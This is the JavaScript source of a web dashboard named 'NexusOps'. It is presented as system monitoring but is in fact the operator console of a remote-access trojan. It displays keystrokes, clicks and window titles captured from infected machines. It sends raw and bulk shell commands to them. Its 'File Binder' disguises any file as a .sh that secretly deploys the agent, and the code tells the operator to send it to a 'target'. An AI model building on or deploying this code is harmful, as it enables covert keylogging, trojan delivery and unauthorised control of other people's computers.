// NexusOps Dashboard Application Logic let nodesData = []; let commandHistory = []; let masterSystemLogs = []; let inputData = []; let currentFilter = 'all'; let currentView = 'grid'; let serverIp = window.location.hostname; let serverPort = window.location.port || '3000'; let publicUrl = null; let telemetryChart = null; document.addEventListener('DOMContentLoaded', () => { initWebSocket(); initChart(); updateServerEndpoint(); }); function updateServerEndpoint() { const endpoint = publicUrl || `http://${serverIp}:${serverPort}`; const placeholders = document.querySelectorAll('.server-url-placeholder'); placeholders.forEach(el => el.textContent = endpoint); document.getElementById('navServerEndpoint').textContent = endpoint; const linkEl = document.getElementById('binaryDownloadLink'); if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`; } function initWebSocket() { const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; const wsUrl = `${protocol}//${window.location.host}`; const ws = new WebSocket(wsUrl); ws.onopen = () => { document.getElementById('navConnectionStatus').textContent = 'Live Connected'; document.querySelector('.status-indicator').classList.add('online'); }; ws.onmessage = (event) => { try { const data = JSON.parse(event.data); if (data.type === 'NODES_UPDATE') { serverIp = data.serverIp || serverIp; serverPort = data.port || serverPort; publicUrl = data.publicUrl || publicUrl; updateServerEndpoint(); nodesData = data.nodes || []; commandHistory = data.commandHistory || []; masterSystemLogs = data.masterSystemLogs || []; inputData = data.inputData || []; renderDashboard(); } } catch (e) { console.error("Error parsing WebSocket payload:", e); } }; ws.onclose = () => { document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)'; document.querySelector('.status-indicator').classList.remove('online'); setTimeout(initWebSocket, 3000); }; } function renderDashboard() { renderOverviewStats(); renderNodesGrid(); renderAuditLogs(); renderMasterSyslogs(); renderIntelLog(); checkForNewNodes(); updateChartData(); } function renderOverviewStats() { const total = nodesData.length; const online = nodesData.filter(n => n.status === 'online').length; const offline = total - online; let avgCpu = 0; if (online > 0) { const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0); avgCpu = Math.round(sumCpu / online); } document.getElementById('statTotalNodes').textContent = total; document.getElementById('statOnlineNodes').textContent = online; document.getElementById('statOfflineNodes').textContent = offline; document.getElementById('statAvgCpu').textContent = `${avgCpu}%`; } function renderNodesGrid() { const container = document.getElementById('nodesGrid'); const search = document.getElementById('searchInput').value.toLowerCase(); let filtered = nodesData.filter(node => { const matchesFilter = currentFilter === 'all' || node.status === currentFilter; const matchesSearch = !search || node.hostname.toLowerCase().includes(search) || node.ip.toLowerCase().includes(search) || node.platform.toLowerCase().includes(search) || node.id.toLowerCase().includes(search); return matchesFilter && matchesSearch; }); if (filtered.length === 0) { container.innerHTML = `

No Connected Agents Found

No computers match your filter. Download the agent installer to link machines.

`; return; } container.innerHTML = filtered.map(node => { const isOnline = node.status === 'online'; const osIcon = getOsIcon(node.platform); return `

${escapeHtml(node.hostname)}

${node.ip} • ${node.osName || node.platform}
${isOnline ? 'Online' : 'Offline'}
CPU Usage ${node.cpuUsage}%
Memory ${node.memUsage}%
Disk Space ${node.diskUsage}%
`; }).join(''); } function renderAuditLogs() { const container = document.getElementById('auditLogContent'); document.getElementById('logCount').textContent = `${commandHistory.length} events`; if (commandHistory.length === 0) { container.innerHTML = `
[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.
`; return; } container.innerHTML = commandHistory.map(item => { let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system'; return `
[${new Date(item.createdAt).toLocaleTimeString()}] ${escapeHtml(item.hostname)} ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()} ${item.output ? `
${escapeHtml(item.output.trim())}
` : ''}
`; }).join(''); container.scrollTop = container.scrollHeight; } function renderMasterSyslogs() { const container = document.getElementById('syslogStreamContent'); if (!container) return; const countEl = document.getElementById('syslogCount'); const searchInput = document.getElementById('logSearchInput'); const query = searchInput ? searchInput.value.toLowerCase().trim() : ''; let filtered = masterSystemLogs; if (query) { filtered = masterSystemLogs.filter(l => l.hostname.toLowerCase().includes(query) || l.entry.toLowerCase().includes(query) ); } if (countEl) countEl.textContent = `${filtered.length} entries`; if (filtered.length === 0) { container.innerHTML = `
[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".
`; return; } container.innerHTML = filtered.map(log => { let logText = escapeHtml(log.entry); let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail'); let isWarn = logText.toLowerCase().includes('warn'); let logClass = isError ? 'error' : isWarn ? 'system' : 'success'; return `
[${new Date(log.timestamp).toLocaleTimeString()}] ${escapeHtml(log.hostname)}: ${logText}
`; }).join(''); container.scrollTop = container.scrollHeight; } function initChart() { const ctx = document.getElementById('telemetryChart').getContext('2d'); telemetryChart = new Chart(ctx, { type: 'line', data: { labels: [], datasets: [ { label: 'Avg CPU Load (%)', borderColor: '#06b6d4', backgroundColor: 'rgba(6, 182, 212, 0.1)', fill: true, data: [], tension: 0.4 }, { label: 'Avg RAM Load (%)', borderColor: '#8b5cf6', backgroundColor: 'rgba(139, 92, 246, 0.1)', fill: true, data: [], tension: 0.4 } ] }, options: { responsive: true, maintainAspectRatio: false, scales: { x: { grid: { color: 'rgba(255, 255, 255, 0.05)' }, ticks: { color: '#9ca3af' } }, y: { min: 0, max: 100, grid: { color: 'rgba(255, 255, 255, 0.05)' }, ticks: { color: '#9ca3af' } } }, plugins: { legend: { labels: { color: '#f3f4f6' } } } } }); } function updateChartData() { if (!telemetryChart) return; const timeStr = new Date().toLocaleTimeString(); const onlineNodes = nodesData.filter(n => n.status === 'online'); const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0; const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0; telemetryChart.data.labels.push(timeStr); telemetryChart.data.datasets[0].data.push(Math.round(avgCpu)); telemetryChart.data.datasets[1].data.push(Math.round(avgMem)); if (telemetryChart.data.labels.length > 15) { telemetryChart.data.labels.shift(); telemetryChart.data.datasets[0].data.shift(); telemetryChart.data.datasets[1].data.shift(); } telemetryChart.update(); } function getOsIcon(platform) { const p = (platform || '').toLowerCase(); if (p.includes('win')) return 'fa-brands fa-windows'; if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple'; return 'fa-brands fa-linux'; } function escapeHtml(str) { return (str || '').replace(/&/g, "&").replace(//g, ">"); } function formatTime(timestamp) { if (!timestamp) return 'Never'; const diff = Math.floor((Date.now() - timestamp) / 1000); if (diff < 5) return 'Just now'; if (diff < 60) return `${diff}s ago`; return `${Math.floor(diff / 60)}m ago`; } function setFilter(filter, el) { currentFilter = filter; document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active')); el.classList.add('active'); renderNodesGrid(); } function filterNodes() { renderNodesGrid(); } function switchView(view, el) { currentView = view; document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active')); el.classList.add('active'); renderNodesGrid(); } function openInstallerModal() { updateServerEndpoint(); document.getElementById('installerModal').classList.add('active'); } function closeInstallerModal() { document.getElementById('installerModal').classList.remove('active'); } function switchTab(tabName) { document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active')); document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active')); event.currentTarget.classList.add('active'); document.getElementById(`tab-${tabName}`).classList.add('active'); } function switchControlTab(tabName, btnEl) { document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active')); document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none'); btnEl.classList.add('active'); document.getElementById(`ctrl-${tabName}`).style.display = 'block'; } function copyCode(elementId, btn) { const text = document.getElementById(elementId).innerText; navigator.clipboard.writeText(text).then(() => { const original = btn.innerHTML; btn.innerHTML = ` Copied!`; btn.style.background = 'var(--accent-emerald)'; setTimeout(() => { btn.innerHTML = original; btn.style.background = ''; }, 2000); }); } function openCommandModal(nodeId, hostname) { document.getElementById('cmdModalNodeId').value = nodeId; document.getElementById('cmdModalHostname').textContent = hostname; document.getElementById('cmdInput').value = ''; document.getElementById('commandModal').classList.add('active'); } function closeCommandModal() { document.getElementById('commandModal').classList.remove('active'); } function setQuickCmd(cmd) { document.getElementById('cmdInput').value = cmd; } function submitNodeAction(actionType, extraPayload = {}) { const nodeId = document.getElementById('cmdModalNodeId').value; let payload = { ...extraPayload }; if (actionType === 'raw_command') { const command = document.getElementById('cmdInput').value.trim(); if (!command) return; payload.command = command; } fetch(`/api/nodes/${nodeId}/command`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ actionType, payload, command: payload.command }) }) .then(res => res.json()) .then(data => { if (data.success) { closeCommandModal(); } }); } function submitServiceAction(action) { const service = document.getElementById('serviceNameInput').value.trim(); if (!service) return alert("Please enter a service name (e.g. nginx)"); submitNodeAction('manage_service', { service, action }); } function submitKillProcess() { const pid = document.getElementById('killPidInput').value; if (!pid) return alert("Please enter a valid PID"); submitNodeAction('kill_process', { pid }); } function openBulkModal() { document.getElementById('bulkModal').classList.add('active'); } function closeBulkModal() { document.getElementById('bulkModal').classList.remove('active'); } function submitBulkCommand() { const command = document.getElementById('bulkCmdInput').value.trim(); if (!command) return; fetch('/api/nodes/bulk-command', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } }) }) .then(res => res.json()) .then(data => { if (data.success) { closeBulkModal(); alert(`Task broadcasted to ${data.count} online network nodes!`); } else { alert(data.error || "Failed to dispatch bulk command"); } }); } function submitTagUpdate() { const tags = document.getElementById('tagInput').value.trim(); if (!tags) return alert("Please enter at least one tag"); submitNodeAction('update_tags', { tags }); } function submitHeartbeatRate() { const interval = document.getElementById('heartbeatInput').value; if (!interval) return alert("Please enter a valid interval in seconds"); submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) }); } function submitSystemReboot() { if (confirm("⚠️ Are you sure you want to reboot this target machine?")) { submitNodeAction('reboot_system'); } } function deleteNode(nodeId) { if (confirm("Are you sure you want to unregister this node?")) { fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' }); } } // ── Master Intelligence Log Rendering ── function renderIntelLog() { const container = document.getElementById('intelLogContent'); if (!container) return; const nodeFilter = document.getElementById('intelNodeFilter'); const typeFilter = document.getElementById('intelTypeFilter'); const searchInput = document.getElementById('intelSearchInput'); // Populate node filter dropdown dynamically if (nodeFilter) { const currentVal = nodeFilter.value; nodeFilter.innerHTML = ''; nodesData.forEach(n => { const sel = n.id === currentVal ? ' selected' : ''; nodeFilter.innerHTML += ``; }); } const selNodeId = nodeFilter ? nodeFilter.value : 'all'; const selType = typeFilter ? typeFilter.value : 'all'; const query = searchInput ? searchInput.value.toLowerCase().trim() : ''; // Show machine details when a specific node is selected renderMachineDetails(selNodeId); // Filter input data let filtered = inputData; if (selNodeId !== 'all') { filtered = filtered.filter(e => e.nodeId === selNodeId); } if (selType !== 'all') { filtered = filtered.filter(e => e.eventType === selType); } if (query) { filtered = filtered.filter(e => { const dataStr = JSON.stringify(e.data || '').toLowerCase(); return dataStr.includes(query) || (e.windowTitle || '').toLowerCase().includes(query) || (e.hostname || '').toLowerCase().includes(query); }); } const countEl = document.getElementById('intelCount'); if (countEl) countEl.textContent = `${filtered.length} events`; if (filtered.length === 0) { container.innerHTML = '
[INTEL] No captured input events. Waiting for agent keystroke/click data...
'; return; } container.innerHTML = filtered.map(ev => { const timeStr = new Date(ev.timestamp).toLocaleTimeString(); const hostStr = escapeHtml(ev.hostname || 'Unknown'); let icon, cssClass, detailStr; switch (ev.eventType) { case 'keystroke': icon = ''; cssClass = 'log-entry intel-keystroke'; detailStr = `Key: ${escapeHtml((ev.data && ev.data.key) || '?')}`; break; case 'click': icon = ''; cssClass = 'log-entry intel-click'; detailStr = `Button: ${escapeHtml((ev.data && ev.data.button) || '?')} @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`; break; case 'scroll': icon = ''; cssClass = 'log-entry intel-scroll'; detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`; break; default: icon = ''; cssClass = 'log-entry'; detailStr = escapeHtml(JSON.stringify(ev.data || {})); } const winStr = ev.windowTitle ? ` [${escapeHtml(ev.windowTitle)}]` : ''; return `
[${timeStr}] ${icon} ${hostStr} ${detailStr}${winStr}
`; }).join(''); container.scrollTop = container.scrollHeight; } function renderMachineDetails(nodeId) { const bar = document.getElementById('machineDetailsBar'); if (!bar) return; if (nodeId === 'all') { const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))]; if (machinesWithInput.length === 0) { bar.innerHTML = ' Select a specific machine to see its full details here. Input data from agents will appear below.'; } else { bar.innerHTML = ` ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.`; } return; } const node = nodesData.find(n => n.id === nodeId); if (!node) { bar.innerHTML = 'Machine details unavailable.'; return; } const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)'; const osIcon = getOsIcon(node.platform); bar.innerHTML = `
${escapeHtml(node.hostname)}
${escapeHtml(node.ip)}
${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})
CPU: ${node.cpuUsage}%
MEM: ${node.memUsage}%
DISK: ${node.diskUsage}%
${formatUptime(node.uptime)}
${node.status.toUpperCase()}
`; } function formatUptime(seconds) { if (!seconds || seconds <= 0) return 'N/A'; const d = Math.floor(seconds / 86400); const h = Math.floor((seconds % 86400) / 3600); const m = Math.floor((seconds % 3600) / 60); if (d > 0) return `${d}d ${h}h`; if (h > 0) return `${h}h ${m}m`; return `${m}m`; } // ── File Binder ── let binderFile = null; function openBinderModal() { updateServerEndpoint(); document.getElementById('binderModal').classList.add('active'); resetBinder(); } function closeBinderModal() { document.getElementById('binderModal').classList.remove('active'); resetBinder(); } function resetBinder() { binderFile = null; document.getElementById('binderFileInput').value = ''; document.getElementById('binderFileName').innerHTML = 'Click or drag any file here'; document.getElementById('binderDropzone').classList.remove('has-file'); document.getElementById('binderSubmitBtn').disabled = true; document.getElementById('binderStatus').style.display = 'none'; } function handleBinderFile(input) { if (input.files && input.files[0]) { binderFile = input.files[0]; document.getElementById('binderFileName').innerHTML = `${escapeHtml(binderFile.name)} (${(binderFile.size / 1024).toFixed(1)} KB)`; document.getElementById('binderDropzone').classList.add('has-file'); document.getElementById('binderSubmitBtn').disabled = false; } } async function submitBinder() { if (!binderFile) return; const btn = document.getElementById('binderSubmitBtn'); const status = document.getElementById('binderStatus'); btn.disabled = true; btn.innerHTML = ' Binding...'; status.style.display = 'block'; status.className = ''; status.textContent = 'Processing file...'; const formData = new FormData(); formData.append('file', binderFile); try { const resp = await fetch('/api/bind', { method: 'POST', body: formData }); if (!resp.ok) { const err = await resp.json().catch(() => ({ error: 'Server error' })); throw new Error(err.error || `HTTP ${resp.status}`); } const blob = await resp.blob(); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = binderFile.name + '.sh'; document.body.appendChild(a); a.click(); document.body.removeChild(a); URL.revokeObjectURL(url); status.className = 'success'; status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`; } catch (e) { status.className = 'error'; status.textContent = `❌ ${e.message}`; } btn.disabled = false; btn.innerHTML = ' Bind & Download'; } // ── Kill Switch ── function killSwitch() { if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return; fetch('/api/nodes/killswitch', { method: 'POST' }) .then(r => r.json()) .then(d => { if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`); else alert(d.error || 'No nodes to kill.'); }); } // ── Ping Node ── function pingNode(nodeId, hostname) { fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' }) .then(r => r.json()) .then(d => { if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`); }); } // ── New Node Sound & Notification ── let knownNodeIds = new Set(); function checkForNewNodes() { nodesData.forEach(node => { if (!knownNodeIds.has(node.id) && node.status === 'online') { knownNodeIds.add(node.id); // Browser notification if (Notification.permission === 'granted') { new Notification('🖥️ New Agent Connected', { body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`, icon: '/favicon.ico' }); } // Audio ping try { const ctx = new (window.AudioContext || window.webkitAudioContext)(); const osc = ctx.createOscillator(); const gain = ctx.createGain(); osc.connect(gain); gain.connect(ctx.destination); osc.frequency.setValueAtTime(880, ctx.currentTime); osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1); gain.gain.setValueAtTime(0.3, ctx.currentTime); gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3); osc.start(ctx.currentTime); osc.stop(ctx.currentTime + 0.3); } catch(e) {} } }); // Also mark offline nodes nodesData.forEach(node => knownNodeIds.add(node.id)); } // Request notification permission on first interaction document.addEventListener('click', () => { if (Notification.permission === 'default') Notification.requestPermission(); }, { once: true });